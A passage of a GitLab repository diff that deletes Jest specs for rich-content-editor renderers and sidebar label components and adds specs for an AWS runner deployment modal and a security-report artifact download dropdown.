- it.each`
- start | middle | end
- ${mockTextStart} | ${mockTextMiddle} | ${mockTextEnd}
- ${mockTextStart} | ${'[environment terraform plans][]'} | ${mockTextEnd}
- ${mockTextStart} | ${'[environment terraform plans]'} | ${mockTextEnd}
- `(
- 'should return inline editable, uneditable, and editable tokens in sequence',
- ({ start, middle, end }) => {
- const buildMockTextToken = (content) => ({ type: 'text', tagName: null, content });
-
- const startToken = buildMockTextToken(start);
- const middleToken = buildMockTextToken(middle);
- const endToken = buildMockTextToken(end);
-
- const content = `${start}${middle}${end}`;
- const contentToken = buildMockTextToken(content);
- const contentNode = buildMockTextNode(content);
- const context = { origin: jest.fn().mockReturnValueOnce(contentToken) };
- expect(renderer.render(contentNode, context)).toStrictEqual(
- [startToken, buildUneditableInlineTokens(middleToken), endToken].flat(),
- );
- },
- );
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js
deleted file mode 100644
index 470cf9bddaa..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js
+++ /dev/null
@@ -1,84 +0,0 @@
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph';
-
-import { buildMockTextNode } from './mock_data';
-
-const buildMockParagraphNode = (literal) => {
- return {
- firstChild: buildMockTextNode(literal),
- type: 'paragraph',
- };
-};
-
-const normalParagraphNode = buildMockParagraphNode(
- 'This is just normal paragraph. It has multiple sentences.',
-);
-const identifierParagraphNode = buildMockParagraphNode(
- `[another-identifier]: https://example.com "This example has a title" [identifier]: http://example1.com [this link]: http://example2.com`,
-);
-
-describe('rich_content_editor/renderers_render_identifier_paragraph', () => {
- describe('canRender', () => {
- it.each`
- node | paragraph | target
- ${identifierParagraphNode} | ${'[Some text]: https://link.com'} | ${true}
- ${normalParagraphNode} | ${'Normal non-identifier text. Another sentence.'} | ${false}
- `(
- 'should return $target when the $node matches $paragraph syntax',
- ({ node, paragraph, target }) => {
- const context = {
- entering: true,
- getChildrenText: jest.fn().mockReturnValueOnce(paragraph),
- };
-
- expect(renderer.canRender(node, context)).toBe(target);
- },
- );
- });
-
- describe('render', () => {
- let context;
- let result;
-
- beforeEach(() => {
- const node = {
- firstChild: {
- type: 'text',
- literal: '[Some text]: https://link.com',
- next: {
- type: 'linebreak',
- next: {
- type: 'text',
- literal: '[identifier]: http://example1.com "title"',
- },
- },
- },
- };
- context = { skipChildren: jest.fn() };
- result = renderer.render(node, context);
- });
-
- it('renders the reference definitions as a code block', () => {
- expect(result).toEqual([
- {
- type: 'openTag',
- tagName: 'pre',
- classNames: ['code-block', 'language-markdown'],
- attributes: {
- 'data-sse-reference-definition': true,
- },
- },
- { type: 'openTag', tagName: 'code' },
- {
- type: 'text',
- content: '[Some text]: https://link.com\n[identifier]: http://example1.com "title"',
- },
- { type: 'closeTag', tagName: 'code' },
- { type: 'closeTag', tagName: 'pre' },
- ]);
- });
-
- it('skips the reference definition node children from rendering', () => {
- expect(context.skipChildren).toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_list_item_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_list_item_spec.js
deleted file mode 100644
index c1ab700535b..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_list_item_spec.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_list_item';
-import * as renderUtils from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
-
-describe('rich_content_editor/renderers/render_list_item', () => {
- it('canRender delegates to renderUtils.willAlwaysRender', () => {
- expect(renderer.canRender).toBe(renderUtils.willAlwaysRender);
- });
-
- it('render delegates to renderUtils.renderWithAttributeDefinitions', () => {
- expect(renderer.render).toBe(renderUtils.renderWithAttributeDefinitions);
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_softbreak_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_softbreak_spec.js
deleted file mode 100644
index 3c3d2354cb9..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_softbreak_spec.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_softbreak';
-
-describe('Render softbreak renderer', () => {
- describe('canRender', () => {
- it.each`
- node | parentType | result
- ${{ parent: { type: 'emph' } }} | ${'emph'} | ${true}
- ${{ parent: { type: 'strong' } }} | ${'strong'} | ${true}
- ${{ parent: { type: 'paragraph' } }} | ${'paragraph'} | ${false}
- `('returns $result when node parent type is $parentType ', ({ node, result }) => {
- expect(renderer.canRender(node)).toBe(result);
- });
- });
-
- describe('render', () => {
- it('returns text node with a break line', () => {
- expect(renderer.render()).toEqual({
- type: 'text',
- content: ' ',
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js
deleted file mode 100644
index 7c1809c290c..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js
+++ /dev/null
@@ -1,109 +0,0 @@
-import {
- buildUneditableBlockTokens,
- buildUneditableOpenTokens,
-} from '~/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token';
-import {
- renderUneditableLeaf,
- renderUneditableBranch,
- renderWithAttributeDefinitions,
- willAlwaysRender,
-} from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
-
-import { originToken, uneditableCloseToken, attributeDefinition } from './mock_data';
-
-describe('rich_content_editor/renderers/render_utils', () => {
- describe('renderUneditableLeaf', () => {
- it('should return uneditable block tokens around an origin token', () => {
- const context = { origin: jest.fn().mockReturnValueOnce(originToken) };
- const result = renderUneditableLeaf({}, context);
-
- expect(result).toStrictEqual(buildUneditableBlockTokens(originToken));
- });
- });
-
- describe('renderUneditableBranch', () => {
- let origin;
-
- beforeEach(() => {
- origin = jest.fn().mockReturnValueOnce(originToken);
- });
-
- it('should return uneditable block open token followed by the origin token when entering', () => {
- const context = { entering: true, origin };
- const result = renderUneditableBranch({}, context);
-
- expect(result).toStrictEqual(buildUneditableOpenTokens(originToken));
- });
-
- it('should return uneditable block closing token when exiting', () => {
- const context = { entering: false, origin };
- const result = renderUneditableBranch({}, context);
-
- expect(result).toStrictEqual(uneditableCloseToken);
- });
- });
-
- describe('willAlwaysRender', () => {
- it('always returns true', () => {
- expect(willAlwaysRender()).toBe(true);
- });
- });
-
- describe('renderWithAttributeDefinitions', () => {
- let openTagToken;
- let closeTagToken;
- let node;
- const attributes = {
- 'data-attribute-definition': attributeDefinition,
- };
-
- beforeEach(() => {
- openTagToken = { type: 'openTag' };
- closeTagToken = { type: 'closeTag' };
- node = {
- next: {
- firstChild: {
- literal: attributeDefinition,
- },
- },
- };
- });
-
- describe('when token type is openTag', () => {
- it('attaches attributes when attributes exist in the node’s next sibling', () => {
- const context = { origin: () => openTagToken };
-
- expect(renderWithAttributeDefinitions(node, context)).toEqual({
- ...openTagToken,
- attributes,
- });
- });
-
- it('attaches attributes when attributes exist in the node’s children', () => {
- const context = { origin: () => openTagToken };
- node = {
- firstChild: {
- firstChild: {
- next: {
- next: {
- literal: attributeDefinition,
- },
- },
- },
- },
- };
-
- expect(renderWithAttributeDefinitions(node, context)).toEqual({
- ...openTagToken,
- attributes,
- });
- });
- });
-
- it('does not attach attributes when token type is "closeTag"', () => {
- const context = { origin: () => closeTagToken };
-
- expect(renderWithAttributeDefinitions({}, context)).toBe(closeTagToken);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/sanitize_html_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/sanitize_html_spec.js
deleted file mode 100644
index f2182ef60d7..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/sanitize_html_spec.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import sanitizeHTML from '~/vue_shared/components/rich_content_editor/services/sanitize_html';
-
-describe('rich_content_editor/services/sanitize_html', () => {
- it.each`
- input | result
- ${'<iframe src="https://www.youtube.com"></iframe>'} | ${'<iframe src="https://www.youtube.com"></iframe>'}
- ${'<iframe src="https://gitlab.com"></iframe>'} | ${''}
- `('removes iframes if the iframe source origin is not allowed', ({ input, result }) => {
- expect(sanitizeHTML(input)).toBe(result);
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/toolbar_item_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/toolbar_item_spec.js
deleted file mode 100644
index 5a56b499769..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/toolbar_item_spec.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import { GlIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import ToolbarItem from '~/vue_shared/components/rich_content_editor/toolbar_item.vue';
-
-describe('Toolbar Item', () => {
- let wrapper;
-
- const findIcon = () => wrapper.find(GlIcon);
- const findButton = () => wrapper.find('button');
-
- const buildWrapper = (propsData) => {
- wrapper = shallowMount(ToolbarItem, {
- propsData,
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- describe.each`
- icon | tooltip
- ${'heading'} | ${'Headings'}
- ${'bold'} | ${'Add bold text'}
- ${'italic'} | ${'Add italic text'}
- ${'strikethrough'} | ${'Add strikethrough text'}
- ${'quote'} | ${'Insert a quote'}
- ${'link'} | ${'Add a link'}
- ${'doc-code'} | ${'Insert a code block'}
- ${'list-bulleted'} | ${'Add a bullet list'}
- ${'list-numbered'} | ${'Add a numbered list'}
- ${'list-task'} | ${'Add a task list'}
- ${'list-indent'} | ${'Indent'}
- ${'list-outdent'} | ${'Outdent'}
- ${'dash'} | ${'Add a line'}
- ${'table'} | ${'Add a table'}
- ${'code'} | ${'Insert an image'}
- ${'code'} | ${'Insert inline code'}
- `('toolbar item component', ({ icon, tooltip }) => {
- beforeEach(() => buildWrapper({ icon, tooltip }));
-
- it('renders a toolbar button', () => {
- expect(findButton().exists()).toBe(true);
- });
-
- it('renders the correct tooltip', () => {
- const buttonTooltip = getBinding(wrapper.element, 'gl-tooltip');
- expect(buttonTooltip).toBeDefined();
- expect(buttonTooltip.value.title).toBe(tooltip);
- });
-
- it(`renders the ${icon} icon`, () => {
- expect(findIcon().exists()).toBe(true);
- expect(findIcon().props().name).toBe(icon);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/runner_aws_deployments/__snapshots__/runner_aws_deployments_modal_spec.js.snap b/spec/frontend/vue_shared/components/runner_aws_deployments/__snapshots__/runner_aws_deployments_modal_spec.js.snap
new file mode 100644
index 00000000000..b2906973dbd
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_aws_deployments/__snapshots__/runner_aws_deployments_modal_spec.js.snap
@@ -0,0 +1,110 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`RunnerAwsDeploymentsModal renders the modal 1`] = `
+<gl-modal-stub
+ actionsecondary="[object Object]"
+ dismisslabel="Close"
+ modalclass=""
+ modalid="runner-aws-deployments-modal"
+ size="sm"
+ title="Deploy GitLab Runner in AWS"
+ titletag="h4"
+>
+ <p>
+ For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet.
+ </p>
+
+ <ul
+ class="gl-list-style-none gl-p-0 gl-mb-0"
+ >
+ <li>
+ <gl-link-stub
+ class="gl-display-flex gl-font-weight-bold"
+ href="https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stacks/create/review?templateURL=https%3A%2F%2Fgl-public-templates.s3.amazonaws.com%2Fcfn%2Fexperimental%2Feasybutton-amazon-linux-2-docker-manual-scaling-with-schedule-ondemandonly.cf.yml&stackName=linux-docker-nonspot&param_3GITLABRunnerInstanceURL=http%3A%2F%2Ftest.host"
+ target="_blank"
+ >
+ <img
+ alt="linux-docker-nonspot"
+ class="gl-mt-2 gl-mr-5 gl-mb-6"
+ height="46"
+ src="/assets/aws-cloud-formation.png"
+ title="linux-docker-nonspot"
+ width="46"
+ />
+
+ Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor.
+
+ </gl-link-stub>
+ </li>
+ <li>
+ <gl-link-stub
+ class="gl-display-flex gl-font-weight-bold"
+ href="https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stacks/create/review?templateURL=https%3A%2F%2Fgl-public-templates.s3.amazonaws.com%2Fcfn%2Fexperimental%2Feasybutton-amazon-linux-2-docker-manual-scaling-with-schedule-spotonly.cf.yml&stackName=linux-docker-spotonly&param_3GITLABRunnerInstanceURL=http%3A%2F%2Ftest.host"
+ target="_blank"
+ >
+ <img
+ alt="linux-docker-spotonly"
+ class="gl-mt-2 gl-mr-5 gl-mb-6"
+ height="46"
+ src="/assets/aws-cloud-formation.png"
+ title="linux-docker-spotonly"
+ width="46"
+ />
+
+ Amazon Linux 2 Docker HA with manual scaling and optional scheduling. 100% spot.
+
+ </gl-link-stub>
+ </li>
+ <li>
+ <gl-link-stub
+ class="gl-display-flex gl-font-weight-bold"
+ href="https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stacks/create/review?templateURL=https%3A%2F%2Fgl-public-templates.s3.amazonaws.com%2Fcfn%2Fexperimental%2Feasybutton-windows2019-shell-manual-scaling-with-scheduling-ondemandonly.cf.yml&stackName=win2019-shell-non-spot&param_3GITLABRunnerInstanceURL=http%3A%2F%2Ftest.host"
+ target="_blank"
+ >
+ <img
+ alt="win2019-shell-non-spot"
+ class="gl-mt-2 gl-mr-5 gl-mb-6"
+ height="46"
+ src="/assets/aws-cloud-formation.png"
+ title="win2019-shell-non-spot"
+ width="46"
+ />
+
+ Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor.
+
+ </gl-link-stub>
+ </li>
+ <li>
+ <gl-link-stub
+ class="gl-display-flex gl-font-weight-bold"
+ href="https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stacks/create/review?templateURL=https%3A%2F%2Fgl-public-templates.s3.amazonaws.com%2Fcfn%2Fexperimental%2Feasybutton-windows2019-shell-manual-scaling-with-scheduling-spotonly.cf.yml&stackName=win2019-shell-spot&param_3GITLABRunnerInstanceURL=http%3A%2F%2Ftest.host"
+ target="_blank"
+ >
+ <img
+ alt="win2019-shell-spot"
+ class="gl-mt-2 gl-mr-5 gl-mb-6"
+ height="46"
+ src="/assets/aws-cloud-formation.png"
+ title="win2019-shell-spot"
+ width="46"
+ />
+
+ Windows 2019 Shell with manual scaling and optional scheduling. 100% spot.
+
+ </gl-link-stub>
+ </li>
+ </ul>
+
+ <p>
+ <gl-sprintf-stub
+ message="Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+ />
+ </p>
+
+ <p
+ class="gl-font-sm gl-mb-0"
+ >
+ If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account.
+ </p>
+</gl-modal-stub>
+`;
diff --git a/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js b/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js
new file mode 100644
index 00000000000..69db3ec7132
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js
@@ -0,0 +1,75 @@
+import { GlLink } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
+import { getBaseURL } from '~/lib/utils/url_utility';
+import {
+ EXPERIMENT_NAME,
+ CF_BASE_URL,
+ TEMPLATES_BASE_URL,
+ EASY_BUTTONS,
+} from '~/vue_shared/components/runner_aws_deployments/constants';
+import RunnerAwsDeploymentsModal from '~/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue';
+
+jest.mock('~/experimentation/experiment_tracking');
+
+describe('RunnerAwsDeploymentsModal', () => {
+ let wrapper;
+
+ const findEasyButtons = () => wrapper.findAllComponents(GlLink);
+
+ const createComponent = () => {
+ wrapper = shallowMount(RunnerAwsDeploymentsModal, {
+ propsData: {
+ modalId: 'runner-aws-deployments-modal',
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders the modal', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('should contain all easy buttons', () => {
+ expect(findEasyButtons()).toHaveLength(EASY_BUTTONS.length);
+ });
+
+ describe('first easy button', () => {
+ const findFirstButton = () => findEasyButtons().at(0);
+
+ it('should contain the correct description', () => {
+ expect(findFirstButton().text()).toBe(EASY_BUTTONS[0].description);
+ });
+
+ it('should contain the correct link', () => {
+ const link = findFirstButton().attributes('href');
+
+ expect(link.startsWith(CF_BASE_URL)).toBe(true);
+ expect(
+ link.includes(
+ `templateURL=${encodeURIComponent(TEMPLATES_BASE_URL + EASY_BUTTONS[0].templateName)}`,
+ ),
+ ).toBe(true);
+ expect(link.includes(`stackName=${EASY_BUTTONS[0].stackName}`)).toBe(true);
+ expect(
+ link.includes(`param_3GITLABRunnerInstanceURL=${encodeURIComponent(getBaseURL())}`),
+ ).toBe(true);
+ });
+
+ it('should track an event when clicked', () => {
+ findFirstButton().vm.$emit('click');
+
+ expect(ExperimentTracking).toHaveBeenCalledWith(EXPERIMENT_NAME);
+ expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith(
+ `template_clicked_${EASY_BUTTONS[0].stackName}`,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_spec.js b/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_spec.js
new file mode 100644
index 00000000000..639668761ea
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_spec.js
@@ -0,0 +1,41 @@
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import RunnerAwsDeployments from '~/vue_shared/components/runner_aws_deployments/runner_aws_deployments.vue';
+import RunnerAwsDeploymentsModal from '~/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue';
+
+describe('RunnerAwsDeployments component', () => {
+ let wrapper;
+
+ const findModalButton = () => wrapper.findByTestId('show-modal-button');
+ const findModal = () => wrapper.findComponent(RunnerAwsDeploymentsModal);
+
+ const createComponent = () => {
+ wrapper = extendedWrapper(shallowMount(RunnerAwsDeployments));
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('should show the "Deploy GitLab Runner in AWS" button', () => {
+ expect(findModalButton().exists()).toBe(true);
+ expect(findModalButton().text()).toBe('Deploy GitLab Runner in AWS');
+ });
+
+ it('should not render the modal once mounted', () => {
+ expect(findModal().exists()).toBe(false);
+ });
+
+ it('should render the modal once clicked', async () => {
+ findModalButton().vm.$emit('click');
+
+ await nextTick();
+
+ expect(findModal().exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js b/spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js
new file mode 100644
index 00000000000..d58c87d66cb
--- /dev/null
+++ b/spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js
@@ -0,0 +1,108 @@
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import {
+ expectedDownloadDropdownProps,
+ securityReportMergeRequestDownloadPathsQueryResponse,
+} from 'jest/vue_shared/security_reports/mock_data';
+import createFlash from '~/flash';
+import Component from '~/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue';
+import SecurityReportDownloadDropdown from '~/vue_shared/security_reports/components/security_report_download_dropdown.vue';
+import {
+ REPORT_TYPE_SAST,
+ REPORT_TYPE_SECRET_DETECTION,
+} from '~/vue_shared/security_reports/constants';
+import securityReportMergeRequestDownloadPathsQuery from '~/vue_shared/security_reports/queries/security_report_merge_request_download_paths.query.graphql';
+
+jest.mock('~/flash');
+
+describe('Merge request artifact Download', () => {
+ let wrapper;
+
+ const defaultProps = {
+ reportTypes: [REPORT_TYPE_SAST, REPORT_TYPE_SECRET_DETECTION],
+ targetProjectFullPath: '/path',
+ mrIid: 123,
+ };
+
+ const createWrapper = ({ propsData, options }) => {
+ wrapper = shallowMount(Component, {
+ stubs: {
+ SecurityReportDownloadDropdown,
+ },
+ propsData: {
+ ...defaultProps,
+ ...propsData,
+ },
+ ...options,
+ });
+ };
+
+ const pendingHandler = () => new Promise(() => {});
+ const successHandler = () =>
+ Promise.resolve({ data: securityReportMergeRequestDownloadPathsQueryResponse });
+ const failureHandler = () => Promise.resolve({ errors: [{ message: 'some error' }] });
+ const createMockApolloProvider = (handler) => {
+ Vue.use(VueApollo);
+ const requestHandlers = [[securityReportMergeRequestDownloadPathsQuery, handler]];
+
+ return createMockApollo(requestHandlers);
+ };
+
+ const findDownloadDropdown = () => wrapper.find(SecurityReportDownloadDropdown);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('given the query is loading', () => {
+ beforeEach(() => {
+ createWrapper({
+ options: {
+ apolloProvider: createMockApolloProvider(pendingHandler),
+ },
+ });
+ });
+
+ it('loading is true', () => {
+ expect(findDownloadDropdown().props('loading')).toBe(true);
+ });
+ });
+
+ describe('given the query loads successfully', () => {
+ beforeEach(() => {
+ createWrapper({
+ options: {
+ apolloProvider: createMockApolloProvider(successHandler),
+ },
+ });
+ });
+
+ it('renders the download dropdown', () => {
+ expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownProps);
+ });
+ });
+
+ describe('given the query fails', () => {
+ beforeEach(() => {
+ createWrapper({
+ options: {
+ apolloProvider: createMockApolloProvider(failureHandler),
+ },
+ });
+ });
+
+ it('calls createFlash correctly', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: Component.i18n.apiError,
+ captureError: true,
+ error: expect.any(Error),
+ });
+ });
+
+ it('renders nothing', () => {
+ expect(findDownloadDropdown().props('artifacts')).toEqual([]);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js
deleted file mode 100644
index 68ea94e72ce..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js
+++ /dev/null
@@ -1,127 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import Vue from 'vue';
-
-import LabelsSelect from '~/labels_select';
-import BaseComponent from '~/vue_shared/components/sidebar/labels_select/base.vue';
-
-import { mockConfig, mockLabels } from './mock_data';
-
-const createComponent = (config = mockConfig) =>
- shallowMount(BaseComponent, {
- propsData: config,
- });
-
-describe('BaseComponent', () => {
- let wrapper;
- let vm;
-
- beforeEach((done) => {
- wrapper = createComponent();
-
- ({ vm } = wrapper);
-
- Vue.nextTick(done);
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('computed', () => {
- describe('hiddenInputName', () => {
- it('returns correct string when showCreate prop is `true`', () => {
- expect(vm.hiddenInputName).toBe('issue[label_names][]');
- });
-
- it('returns correct string when showCreate prop is `false`', async () => {
- await wrapper.setProps({ showCreate: false });
-
- expect(vm.hiddenInputName).toBe('label_id[]');
- });
- });
-
- describe('createLabelTitle', () => {
- it('returns `Create project label` when `isProject` prop is true', () => {
- expect(vm.createLabelTitle).toBe('Create project label');
- });
-
- it('return `Create group label` when `isProject` prop is false', async () => {
- await wrapper.setProps({ isProject: false });
-
- expect(vm.createLabelTitle).toBe('Create group label');
- });
- });
-
- describe('manageLabelsTitle', () => {
- it('returns `Manage project labels` when `isProject` prop is true', () => {
- expect(vm.manageLabelsTitle).toBe('Manage project labels');
- });
-
- it('return `Manage group labels` when `isProject` prop is false', async () => {
- await wrapper.setProps({ isProject: false });
-
- expect(vm.manageLabelsTitle).toBe('Manage group labels');
- });
- });
- });
-
- describe('methods', () => {
- describe('handleClick', () => {
- it('emits onLabelClick event with label and list of labels as params', () => {
- jest.spyOn(vm, '$emit').mockImplementation(() => {});
- vm.handleClick(mockLabels[0]);
-
- expect(vm.$emit).toHaveBeenCalledWith('onLabelClick', mockLabels[0]);
- });
- });
-
- describe('handleCollapsedValueClick', () => {
- it('emits toggleCollapse event on component', () => {
- jest.spyOn(vm, '$emit').mockImplementation(() => {});
- vm.handleCollapsedValueClick();
-
- expect(vm.$emit).toHaveBeenCalledWith('toggleCollapse');
- });
- });
-
- describe('handleDropdownHidden', () => {
- it('emits onDropdownClose event on component', () => {
- jest.spyOn(vm, '$emit').mockImplementation(() => {});
- vm.handleDropdownHidden();
-
- expect(vm.$emit).toHaveBeenCalledWith('onDropdownClose');
- });
- });
- });
-
- describe('mounted', () => {
- it('creates LabelsSelect object and assigns it to `labelsDropdon` as prop', () => {
- expect(vm.labelsDropdown instanceof LabelsSelect).toBe(true);
- });
- });
-
- describe('template', () => {
- it('renders component container element with classes `block labels`', () => {
- expect(vm.$el.classList.contains('block')).toBe(true);
- expect(vm.$el.classList.contains('labels')).toBe(true);
- });
-
- it('renders `.selectbox` element', () => {
- expect(vm.$el.querySelector('.selectbox')).not.toBeNull();
- expect(vm.$el.querySelector('.selectbox').getAttribute('style')).toBe('display: none;');
- });
-
- it('renders `.dropdown` element', () => {
- expect(vm.$el.querySelector('.dropdown')).not.toBeNull();
- });
-
- it('renders `.dropdown-menu` element', () => {
- const dropdownMenuEl = vm.$el.querySelector('.dropdown-menu');
-
- expect(dropdownMenuEl).not.toBeNull();
- expect(dropdownMenuEl.querySelector('.dropdown-page-one')).not.toBeNull();
- expect(dropdownMenuEl.querySelector('.dropdown-content')).not.toBeNull();
- expect(dropdownMenuEl.querySelector('.dropdown-loading')).not.toBeNull();
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_button_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_button_spec.js
deleted file mode 100644
index 79851e5db05..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_button_spec.js
+++ /dev/null
@@ -1,90 +0,0 @@
-import Vue from 'vue';
-
-import mountComponent from 'helpers/vue_mount_component_helper';
-import dropdownButtonComponent from '~/vue_shared/components/sidebar/labels_select/dropdown_button.vue';
-
-import { mockConfig, mockLabels } from './mock_data';
-
-const componentConfig = {
- ...mockConfig,
- fieldName: 'label_id[]',
- labels: mockLabels,
- showExtraOptions: false,
-};
-
-const createComponent = (config = componentConfig) => {
- const Component = Vue.extend(dropdownButtonComponent);
-
- return mountComponent(Component, config);
-};
-
-describe('DropdownButtonComponent', () => {
- let vm;
-
- beforeEach(() => {
- vm = createComponent();
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('computed', () => {
- describe('dropdownToggleText', () => {
- it('returns text as `Label` when `labels` prop is empty array', () => {
- const mockEmptyLabels = { ...componentConfig, labels: [] };
- const vmEmptyLabels = createComponent(mockEmptyLabels);
-
- expect(vmEmptyLabels.dropdownToggleText).toBe('Label');
- vmEmptyLabels.$destroy();
- });
-
- it('returns first label name with remaining label count when `labels` prop has more than one item', () => {
- const mockMoreLabels = { ...componentConfig, labels: mockLabels.concat(mockLabels) };
- const vmMoreLabels = createComponent(mockMoreLabels);
-
- expect(vmMoreLabels.dropdownToggleText).toBe(
- `Foo Label +${mockMoreLabels.labels.length - 1} more`,
- );
- vmMoreLabels.$destroy();
- });
-
- it('returns first label name when `labels` prop has only one item present', () => {
- const singleLabel = { ...componentConfig, labels: [mockLabels[0]] };
- const vmSingleLabel = createComponent(singleLabel);
-
- expect(vmSingleLabel.dropdownToggleText).toBe(mockLabels[0].title);
-
- vmSingleLabel.$destroy();
- });
- });
- });
-
- describe('template', () => {
- it('renders component container element of type `button`', () => {
- expect(vm.$el.nodeName).toBe('BUTTON');
- });
-
- it('renders component container element with required data attributes', () => {
- expect(vm.$el.dataset.abilityName).toBe(vm.abilityName);
- expect(vm.$el.dataset.fieldName).toBe(vm.fieldName);
- expect(vm.$el.dataset.issueUpdate).toBe(vm.updatePath);
- expect(vm.$el.dataset.labels).toBe(vm.labelsPath);
- expect(vm.$el.dataset.namespacePath).toBe(vm.namespace);
- expect(vm.$el.dataset.showAny).not.toBeDefined();
- });
-
- it('renders dropdown toggle text element', () => {
- const dropdownToggleTextEl = vm.$el.querySelector('.dropdown-toggle-text');
-
- expect(dropdownToggleTextEl).not.toBeNull();
- expect(dropdownToggleTextEl.innerText.trim()).toBe('Foo Label +1 more');
- });
-
- it('renders dropdown button icon', () => {
- const dropdownIconEl = vm.$el.querySelector('.dropdown-menu-toggle .gl-icon');
-
- expect(dropdownIconEl).not.toBeNull();
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js
deleted file mode 100644
index 322e632da02..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js
+++ /dev/null
@@ -1,103 +0,0 @@
-import Vue from 'vue';
-
